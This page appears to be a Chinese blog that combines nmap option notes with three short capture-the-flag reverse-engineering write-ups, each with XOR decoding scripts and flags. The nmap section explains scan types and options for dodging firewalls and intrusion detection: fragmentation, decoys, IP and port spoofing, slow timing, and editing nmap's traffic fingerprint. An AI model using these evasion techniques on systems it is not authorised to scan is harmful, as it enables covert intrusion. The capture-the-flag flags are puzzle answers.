在UNIX机器上,通常只有特权用户 root 能否发送和接收 原始的TCP报文。因此作为一个变通的方法,对于非特权用户, Nmap会为每个目标主机进行系统调用connect(),它也会发送一个SYN 报文来尝试建立连接。如果connect()迅速返回成功或者一个ECONNREFUSED 失败,下面的TCP堆栈一定已经收到了一个SYN/ACK或者RST,该主机将被 标志位为在运行。 如果连接超时了,该主机就标志位为down掉了。这种方法也用于IPv6 连接,因为Nmap目前还不支持原始的IPv6报文。

扫描少量机器的时候程序可能结束很快,哪怕接收到了响应的报文也不会发现主机

0x05 选项-PA

发送的ACK报文,如果不在sudo下依旧发的SYN。默认80端口,可以像-PA22,23,这样指定端口。响应方向来的是ACK/RST。

0x06 选项-PR

arp扫描局域网。

如果不想用arp使用–send-ip参数。此外还会顺便扫描端口,发送的SYN报文。

0x07 选项-PE -PP
  • -PE 发的是icmp type 8的报文

  • -PP 发的是icmp type 13的报文

  • -PM 发的是icmp type 17 地址掩码的报文

0x08 选项-n -R

-n不适用域名解析,-R对目标ip地址进行反向解析。**–system-dns**使用系统域名解析器(速度会较慢)

端口扫描

nmap 把端口分成六个状态: open(开放的), closed(关闭的),filtered(被过滤的), unfiltered(未被过滤的), open|filtered(开放或者被过滤的),或者 closed|filtered(关闭或者被过滤的)。

这些状态并非端口本身的性质,而是描述Nmap怎样看待它们。例如, 对于同样的目标机器的135/tcp端口,从同网络扫描显示它是开放的,而跨网络作完全相同的扫描则可能显示它是 filtered(被过滤的)。

open(开放的)

应用程序正在该端口接收TCP 连接或者UDP报文。发现这一点常常是端口扫描 的主要目标。安全意识强的人们知道每个开放的端口 都是攻击的入口。攻击者或者入侵测试者想要发现开放的端口。 而管理员则试图关闭它们或者用防火墙保护它们以免妨碍了合法用户。 非安全扫描可能对开放的端口也感兴趣,因为它们显示了网络上那些服务可供使用。

closed(关闭的)

关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应), 但没有应用程序在其上监听。 它们可以显示该IP地址上(主机发现,或者ping扫描)的主机正在运行up 也对部分操作系统探测有所帮助。 因为关闭的关口是可访问的,也许过会儿值得再扫描一下,可能一些又开放了。 系统管理员可能会考虑用防火墙封锁这样的端口。 那样他们就会被显示为被过滤的状态,下面讨论。

filtered(被过滤的)

由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由器规则 或者主机上的软件防火墙。这样的端口让攻击者感觉很挫折,因为它们几乎不提供 任何信息。有时候它们响应ICMP错误消息如类型3代码13 (无法到达目标: 通信被管理员禁止),但更普遍的是过滤器只是丢弃探测帧, 不做任何响应。 这迫使Nmap重试若干次以访万一探测包是由于网络阻塞丢弃的。 这使得扫描速度明显变慢。

unfiltered(未被过滤的)

未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。 只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。 用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定端口是否开放。

open|filtered(开放或者被过滤的)

当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成 这种状态。开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃 了探测报文或者它引发的任何响应。因此Nmap无法确定该端口是开放的还是被过滤的。 UDP,IP协议, FIN,Null,和Xmas扫描可能把端口归入此类。

closed|filtered(关闭或者被过滤的)

该状态用于Nmap不能确定端口是关闭的还是被过滤的。 它只可能出现在IPID Idle扫描中。

0x01 选项-sS(TCP SYN扫描)

发送一个SYN,接收到SYN-ACK代表开放,并且发送RST-ACK代表关闭,如果没有响应该端口被标记未被过滤的。如果收到ICMP不可到达错误 (类型3,代码1,2,3,9,10,或者13),该端口也被标记为被过滤。

0x02 选项-sT (TCP connect()扫描)

当用户没有权限发送原始报文或者扫描IPv6网络时,就是这种情况。 Instead of writing raw packets as most other scan types do,Nmap通过创建connect() 系统调用要求操作系统和目标机以及端口建立连接,而不像其它扫描类型直接发送原始报文。该系统调用会完全链接到开放的目标端口所以说发送的数据包会更多。

显然多了一个ack包。

0x03 选项-sU(UDP扫描)

UDP扫描发送空的(没有数据)UDP报头到每个目标端口。 如果返回ICMP端口不可到达错误(类型3,代码3), 该端口是closed(关闭的)。 其它ICMP不可到达错误(类型3, 代码1,2,9,10,或者13)表明该端口是filtered(被过滤的)。使用–host-timeout跳过慢速的主机。

0x04 选项-sN; -sF; -sX (TCP Null,FIN,and Xmas扫描)

如果扫描系统遵循该RFC,当端口关闭时,任何不包含SYN,RST,或者ACK位的报文会导致 一个RST返回,而当端口开放时,应该没有任何响应。只要不包含SYN,RST,或者ACK, 任何其它三种(FIN,PSH,and URG)的组合都行。

如果收到一个RST报文,该端口被认为是 closed(关闭的),而没有响应则意味着 端口是open|filtered(开放或者被过滤的)。 如果收到ICMP不可到达错误(类型 3,代号 1,2,3,9,10,或者13),该端口就被标记为被过滤的。

如果被探测系统没有遵循RFC 793,不管端口开放还是关闭,都响应RST。 这导致所有端口都标记为closed(关闭的)。 这样的操作系统主要有Microsoft Windows,许多Cisco设备,BSDI,以及IBM OS/400。

0x05 -sA

open(开放的)和closed(关闭的) 端口都会返回RST报文。Nmap把它们标记为 unfiltered(未被过滤的)。不响应的端口 或者发送特定的ICMP错误消息(类型3,代号1,2,3,9,10, 或者13)的端口,标记为 filtered(被过滤的)。

0x06 -sW

窗口扫描和ACK扫描完全一样。 它通过检查返回的RST报文的TCP窗口域做到这一点。 在某些系统上,开放端口用正数表示窗口大小(甚至对于RST报文) 而关闭端口的窗口大小为0。因此,当收到RST时,窗口扫描不总是把端口标记为 unfiltered, 而是根据TCP窗口值是正数还是0,分别把端口标记为open或者 closed。

以上是扫描windows,显然结果不可信。

0x07 –scanflags(定制的TCP扫描)

–scanflags URGACKPSHRSTSYNFIN设置了所有标志位

可选URG, ACK,PSH, RST,SYN,and FIN

设置TCP扫描类型,其类型会告诉nmap如何解释响应。如SYN扫描认为没有响应意味着 filtered端口,而FIN扫描则认为是 open|filtered。

0x08 -sI <zombie host[:probeport]> (Idlescan)

应该就是利用代理,后续有时间在研究

http://nmap.org/book/idlescan.html

0x09 -sO (IP协议扫描)

IP 协议扫描可以让您确定目标机支持哪些IP协议 (TCP,ICMP,IGMP,等等)。从技术上说,这不是端口扫描 ,既然它遍历的是IP协议号而不是TCP或者UDP端口号。

端口说明和扫描顺序

0x01 选项 -p

-p 1-255 扫描1-255端口

例如,参数 -p U:53,111,137,T:21-25,80,139,8080 将扫描UDP 端口53,111,和137,同时扫描列出的TCP端口。注意,要既扫描 UDP又扫描TCP,您必须指定 -sU ,以及至少一个TCP扫描类型(如 -sS,-sF,或者 -sT)。

0x02 选项-F

在nmap的nmap-services 文件中(对于-sO,是协议文件)指定想要扫描的端口。

0x03 选项-r

默认情况下nmap按照随机顺序扫描端口,-r会按照顺序扫描端口。

0x04 选项-sV(版本探测)

-A会探测操作系统和版本

0x05 选项–allport

默认情况下,Nmap版本探测会跳过9100 TCP端口,因为一些打印机简单地打印送到该端口的 任何数据,这回导致数十页HTTP get请求,二进制 SSL会话请求等等被打印出来。这一行为可以通过修改或删除nmap-service-probes 中的Exclude指示符改变, 您也可以不理会任何Exclude指示符,指定–allports扫描所有端口

0x06 选项–version-all (尝试每个探测)

–version-intensity 9的别名, 保证对每个端口尝试每个探测报文。

操作系统探测

0x01 选项-O

开启操作系统探测

0x02 选项–osscan-limit (针对指定的目标进行操作系统检测)

发现打开和关闭的tcp端口的时候,操作系统扫描会更有效,所以扫描多个主机的时候使用这个选项会节约时间。

0x03 选项–osscan-guess; –fuzzy (推测操作系统检测结果)

当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认进行这种匹配,使用上述任一个选项使得Nmap的推测更加有效。

时间和性能

0x01 选项 –host-timeout <milliseconds> (放弃低速目标主机)

使用 –host-timeout选项来说明等待的时间(毫秒)。通常使用1800000 来保证Nmap不会在单个主机上使用超过半小时的时间。需要注意的是,Nmap在这半小时中可以 同时扫描其它主机,因此并不是完全放弃扫描。超时的主机被忽略,因此也没有针对该主机的端口表、操作系统检测或版本检测结果的输出。

0x02 选项–scan-delay <milliseconds>; –max-scan-delay <milliseconds> (调整探测报文的时间间隔)

这个选项用于Nmap控制针对一个主机发送探测报文的等待时间(毫秒),在带宽 控制的情况下这个选项非常有效。Solaris主机在响应UDP扫描探测报文报文时,每秒 只发送一个ICMP消息,因此Nmap发送的很多数探测报文是浪费的。–scan-delay 设为1000,使Nmap低速运行。Nmap尝试检测带宽控制并相应地调整扫描的延迟,但 并不影响明确说明何种速度工作最佳。

–scan-delay的另一个用途是躲闭基于阈值的入侵检测和预防 系统(IDS/IPS)。

0x03 选项-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> (设置时间模板)

前两种模式用于IDS躲避,Polite模式降低了扫描 速度以使用更少的带宽和目标主机资源。默认模式为Normal,因此-T3 实际上是未做任何优化。Aggressive模式假设用户具有合适及可靠的网络从而加速 扫描。Insane模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。

防火墙/IDS哄骗

0x01 选项-f (报文分段); –mtu (使用指定的MTU)

-f选项要求扫描时(包挺ping扫描)使用小的IP包分段。其思路是将TCP头分段在几个包中,使得包过滤器、 IDS以及其它工具的检测更加困难。

0x02 选项-D 【ip1,ip2……|RND:num】

RND随机生成num个诱饵主机地址
注意:

  1. 在版本检测或TCP扫描时诱饵无效。

  2. 诱饵主机必须处于工作状态,否则会导致目标主机的SYN洪水攻击

使用过多的诱饵没有任何价值,反而导致扫描变慢并且结果不准确。 此外,一些ISP会过滤哄骗的报文,但很多对欺骗IP包没有任何限制。

0x03 选项-S (源地址哄骗)

-S伪装了ip

0x04 –source-port <portnumber>; -g <portnumber> (源端口哄骗)

某些防火墙可能有一些隐藏规则,允许来自某端口的数据流入

0x05 –data-length <number> (发送报文时 附加随机数据)

正常情况下,Nmap发送最少的报文,只含一个包头。因此TCP包通常 是40字节,ICMP ECHO请求只有28字节。这个选项告诉Nmap在发送的报文上 附加指定数量的随机字节。操作系统检测(-O)包不受影响, 但大部分ping和端口扫描包受影响,这会使处理变慢,但对扫描的影响较小。

流量监测

SYN扫描的时候窗口之固定是1024

包为空包

nmap-service-probes中有些关键词

-O参数数据包填充内容

流量特征修改
修改namp默认win窗口值。

http://tcpip.cc

tcp->th_win = hosts(1-65535)

修改nmap-service-probes文件中关键词

nmap,nm@nm,nm2@nm2,nm@p,nm,0PT10NS sip

修改使用-O参数发包填充内容

http://osscan2.cc

static u8 patternbyte = 0x43; /* character ‘C’ /

攻防世界 EasyRE

攻防世界 EasyRE

链接

EasyRE

思路

flag存16位。实际flag24位。v10的地址+7

即14-7 == 0D

在图片中的var_C前面

0D正好存储的输入字符串的最后一个字符。

修改一下flag大小

v4直接&flag[23]了

剩下的就比较简单了,异或后-1。

python脚本如下

1
2
3
4
5
6
7
8
import bitstring


s = "xIrCj~<r|2tWsv3PtI\x7fzndka"
res = ""
for i in s:
res += chr((ord(i)^6)-1)
print(res[::-1])

flag:flag{xNqU4otPq3ys9wkDsN}

攻防世界 BABYRE

攻防世界 BABYRE

链接

BABYRE

思路

之前我还以为judge是182个字符的名字。后来发现他就是指向了一段指令。

__fastcall是调用约定,judge是函数地址,(unsigned int (__fastcall **)(char*))个人觉得是一个强制类型转换转换为返回值为unsigned int,参数为char*的函数类型。s为传入的参数。

看wp有人说是花指令,我个人感觉更像是一个简单的壳。。

总之idc运行一次脚本

1
2
3
4
5
6
7
auto addr = 0x600b00;
auto i = 0;

for(i=0;i<182;i++){
auto temp = Byte(addr+i) ^ 0x0c;
PatchByte(addr+i, temp);
}

PathByte(addr,替换内容)

然后将judge的内容全选上按P。

然后就可以反编译了。

这代码挺简单的就不解释了。

python脚本:

1
2
3
4
5
6
7
8
9
import bitstring


s = "fmcd\x7Fk7d;V`;np"
res = ""
for i in range(len(s)):
res += chr(ord(s[i]) ^ i)
# print("".join([chr(i) for i in res]))
print(res)

攻防世界 Guess-the-Number

攻防世界 Guess-the-Number

链接

Guess-the-Number

思路

jar包丢进java反汇编软件jd-gui

直接num1,num2异或得到answer

python脚本

1
2
3
num1 = int("4b64ca12ace755516c178f72d05d7061", 16)
num2 = int("ecd44646cfe5994ebeb35bf922e25dba", 16)
print(hex(num1 ^ num2))

flag:a7b08c546302cc1fd2a4d48bf2bf2ddb

请我喝杯咖啡吧~

支付宝
微信